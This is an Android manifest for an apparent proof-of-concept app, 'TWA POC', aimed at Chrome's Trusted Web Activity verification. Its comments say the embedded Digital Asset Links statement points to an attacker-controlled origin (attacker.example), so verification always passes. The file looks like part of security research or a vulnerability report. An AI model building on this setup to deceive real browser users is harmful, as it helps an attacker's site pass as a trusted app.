<?xml version="1.0" encoding="utf-8"?>
<!--
  No dangerous permissions required.
  CustomTabs binding uses BIND_CUSTOM_TABS_SERVICE which is normal-level.
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="com.example.twapoc">

    <uses-permission android:name="android.permission.INTERNET"/>

    <!-- Allow binding to Chrome's CustomTabsService on Android 11+ -->
    <queries>
        <package android:name="com.android.chrome"/>
        <intent>
            <action android:name="android.support.customtabs.action.CustomTabsService"/>
        </intent>
    </queries>

    <application
        android:label="TWA POC"
        android:allowBackup="false">

        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

        <!--
          DAL statement embedded in the manifest. Chrome's TwaVerifier checks
          RELATION_HANDLE_ALL_URLS between this APK's signing cert and the
          target origin. Both ends are attacker-controlled, so verification
          always passes.
        -->
        <meta-data
            android:name="asset_statements"
            android:value='[{"relation":["delegate_permission/common.handle_all_urls"],"target":{"namespace":"web","site":"https://attacker.example"}}]'/>

    </application>
</manifest>
